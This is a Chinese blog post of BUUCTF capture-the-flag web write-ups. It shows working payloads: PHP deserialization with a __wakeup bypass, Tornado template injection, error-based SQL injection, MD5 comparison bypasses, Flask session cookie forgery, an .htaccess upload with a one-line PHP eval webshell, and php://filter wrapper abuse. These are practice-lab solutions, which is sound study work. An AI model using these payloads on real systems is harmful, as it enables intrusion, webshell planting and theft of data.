buuctf刷题
buu刷题
[极客大挑战 2019]PHP
打开后是一只猫,看看前端源码也没啥发现的,直接目录扫描\
使用dirsearch扫描到源码www.zip\
解压后发现有index.php和class.php
-
index.php
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
-
class.php
<?php // 包含flag.php文件,该文件中可能定义了flag变量 include 'flag.php'; // 关闭错误报告,防止显示细节 error_reporting(0); // 定义Name类 class Name{ // 用户名属性,private私有访问权限 private $username = 'nonono'; // 密码属性,private私有访问权限 private $password = 'yesyes'; // 构造函数,可以在实例化时传入用户名和密码 public function __construct($username,$password){ // 将传入的用户名赋值给用户名属性 $this->username = $username; // 将传入的密码赋值给密码属性 $this->password = $password; } // 反序列化后会自动调用的魔术方法 // 会将用户名重置为'guest' function __wakeup(){ $this->username = 'guest'; } // 析构函数,在对象销毁前会自动调用 function __destruct(){ // 检查密码是否等于100 if ($this->password != 100) { // 如果不等于100,输出提示并结束执行 echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } // 检查用户名是否为admin if ($this->username === 'admin') { // 如果是admin,则输出flag变量的值 global $flag; echo $flag; }else{ // 其他情况输出不能拿到flag的提示 echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
-
构造payload
直接在class.php的结尾增加$payload = serialize(new Name('admin',100)); echo "\n"; echo $payload;
这时候控制台会输出
Syc{dog_dog_dog_dog} O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
这个时候要注意了 " Name username" 要改成 "%00Name%00username" 同理 " Name password" 要改成 "%00Name%00password" 不然无法正确反序列化
最终构造的payload为
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
这里
"Name":3
原本是"Name":2
但是因为要增加一个属性,所以要改成3 为什么要增加一个属性呢? 因为在class.php中有这么一段代码function __wakeup(){ $this->username = 'guest'; }
这段代码会在反序列化时自动调用,将用户名重置为guest,所以我们要增加一个属性,让这个函数不会被调用
当成员属性数目大于实际数目时可绕过wakeup方法
补充
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
# 变量及对象类型参考
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
[护网杯 2018]easy_tornado 1
打开靶机后看见三个文件
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
由此可得payload由两部分组成
file?filename=/文件名&filehash=文件哈希值
根据提示要先拿到cookie_secret
先把url中的文件名改一下,让其报错,页面显示Error
此时url变为/error?msg=Error
可见这个Error是受msg参数控制的
将其改为 ?msg={{handler.settings}}
原理是这样的,tornado在渲染模板时,会将模板中的变量替换为handler.settings中的值
而handler.settings中有一个cookie_secret,这就是我们要的值
此时页面显示cookie_secret的值\
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'ed157307-881e-4331-8db6-de33dc2b4f0c'}
拿到cookie_secret后,就可以构造payload了
根据提示 md5(cookie_secret+md5(filename))
import hashlib
cookie='ed157307-881e-4331-8db6-de33dc2b4f0c'
filename='/fllllllllllllag'
md5_filename = hashlib.md5(filename.encode(encoding='UTF-8')).hexdigest()
print(md5_filename)
word=cookie+md5_filename
print(word)
filehash=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(filehash)
即可得到 filehash 最终构造payload为
?filename=/fllllllllllllag&filehash=dcb9d387aa4e815ae70f88bef47eb93f
[极客大挑战 2019]HardSQL 1
报错注入
?username=1&password=1'or(updatexml(1,concat(0x7e,database()),1))%23
或者
?username=1&password=1'^extractvalue(1,concat(1,(database())))#
这里的^
是用来代替or
的
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1))%23
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))%23
因为extractvalue和updatexml只显示32位字符。用right(string,num)显示password的右边
[BJDCTF2020]Easy MD5
打开网站后有个输入框,输入字符后什么反应都没有,抓个包看看
发现在响应头的hint里面有这么一个语句\
select * from 'admin' where password=md5($pass,true)
很明显是sql注入
在网上查询之后发现字符串ffifdyop
在进行md5加密后形成的十六进制的字符串经过mysql转换成十进制后对应的ASCII码内容为“or ' 6......”。输入这个字符串即可构成永真语句,从而绕过登录。
输入之后页面跳转到了新的,显示 Do You Like MD5? ,查看页面源码\
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里有两个变量,a和b,要求a和b不相等,但是md5(a)和md5(b)相等,这里可以使用数组来绕过,因为数组在转换成字符串的时候会变成Array,而md5(Array)是无法计算的,所以可以绕过。
?a[]=1&b[]=2
还可以构造md5碰撞,因为md5碰撞的原理是两个字符串的md5值相等,所以可以构造两个字符串,使得他们的md5值相等,这里使用的是0e
开头的字符串,因为php在比较字符串的时候会将字符串转换成数字,如果字符串以0e
开头,那么转换成数字的时候会变成0,所以可以构造两个以0e
开头的字符串,使得他们的md5值相等。
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
接下来又跳转到了一个新的页面,页面显示
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里要求param1和param2不相等,但是md5(param1)和md5(param2)相等,这里使用的是 ===
所以只能使用数组来绕过,因为数组在转换成字符串的时候会变成Array,而md5(Array)是无法计算的,所以可以绕过。
param1[]=1¶m2[]=2
最终得到flag
[HCTF 2018]admin 1
注册账户登录账户审查各个页面的源代码,发现有个GitHub的仓库链接,但是现在已经没有了
但是别人的wp还有记录,在app/config.py中有加密的key
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
直接登录账户抓包抓session,然后使用 flask-session-cookie-manager-master
解密
python3 3.py decode -s "ckj123" -c ".eJxFkEFrAjEQhf9KmbOH3dheBA8LUasws7jEXZKL2LpuEhNbVkUd8b83SGmPj--9x7y5w3rXt0cLo1N_bgewdlsY3eHlA0agBd40T632xpqGIqluWMqk4zxHlZgKPvFAsshKpXNqptZEiporb_xSoFgJ8nhDubDEOmX2ObHZ0yx5RB3KRg9LNWGSqwvy1qIsrsSTi-aCNXc35O4VVe1KRd40tUdVORNTbjYNpdRDYrySDJaa-RgeA_g89rv16WvfHv4moETWEfN0gkNVZJqDQzl5Q1F7rTpBTRVRLALNVhn65YXSPFyOn3Uubrr2v-n9-1T9ksMmJgCbbXSHHAZwPrb983GQZ_D4AZEmbeA.ZMyFrw.We3mm-KkbwPj24CvpKAFbQv2dPI"
{'_fresh': True, '_id': b'cc2c1ab6aecf58781abb5132a9cc1e4049655aafcfc4cf463e663202a76519576d4cfcee9f791345037a001710c03c8238815b93ceec14bfee8ae86773149a5b', 'csrf_token': b'033bc502b104c9b0193eca865df3be4e424041a1', 'image': b'0zmE', 'name': 'admin1', 'user_id': '10'}
然后更改用户名为admin,再加密回去
python3 3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'cc2c1ab6aecf58781abb5132a9cc1e4049655aafcfc4cf463e663202a76519576d4cfcee9f791345037a001710c03c8238815b93ceec14bfee8ae86773149a5b', 'csrf_token': b'033bc502b104c9b0193eca865df3be4e424041a1', 'image': b'0zmE', 'name': 'admin', 'user_id': '10'}"
.eJxFkEFrAjEQhf9KmbOH3dheBA8LUasws7jEXZKL2LpuEhNbVkUd8b83SGmPj--9x7y5w3rXt0cLo1N_bgewdlsY3eHlA0agBd40T632xpqGIqluWMqk4zxHlZgKPvFAsshKpXNqptZEiporb_xSoFgJ8nhDubDEOmX2ObHZ0yx5RB3KRg9LNWGSqwvy1qIsrsSTi-aCNXc35O4VVe1KRd40tUdVORNTbjYNpdRDYrySDJaa-RgeA_g89rv16WvfHv4moETWEfN0gkNVZJqDQzl5Q1F7rTpBTRVRLALNVhn65YXSPFyOn3Uubrr2v-n9-1T9ksMmJgCbbXQHGMD52PbPv0GeweMHJN5trw.ZMyI0w.mstgDR0AseH0CSSzfjgz7Vfu-JM
然后改包重新发送请求,就可以看到flag了
[MRCTF2020]你传你🐎呢 1
标题就很不文明,页面打开是一具死尸..
很多文件都无法上传过滤的很齐全
- htaccess小知识
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
新建.htaccess文件,编辑内容为
SetHandler application/x-httpd-php
该语句作用是让Apache将其他类型文件均以php格式解析
上传的时候Content-Type设置为image/jpeg
然后构造一个图片后缀的一句话木马
GIF89a
<?=eval($_REQUEST['cmd']);?>
用蚁剑连接,拿到flag
[MRCTF2020]Ez_bypass 1
打开后看页面源代码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
简单易懂,构造payload
?id[]=1&gg[]=1
弱比较,在post传入passwd=1234567a
即可
[ZJCTF 2019]NiZhuanSiWei 1
打开靶机后
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这里 file_get_contents
函数是不能读取变量的,要使用 data://
协议
这个协议的用法是 data://[<mediatype>][;base64],<data>
,其中 <mediatype>
是数据的 MIME 类型,<data>
是数据本身。如果省略 <mediatype>
,则默认为 text/plain;charset=US-ASCII
。如果省略 ;base64
,则 <data>
是 URL 编码的。如果指定了 ;base64
,则 <data>
必须是 base64 编码的。这里我们使用 text/plain
类型,所以不需要 ;base64
。
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
读取到源码解密base64
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
构造序列化对象
<?php
class Flag{ //flag.php
public $file="flag.php";
}
echo urlencode(serialize(new Flag));
?>
构造payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
最后查看页面源代码
- 0
- 0
-
分享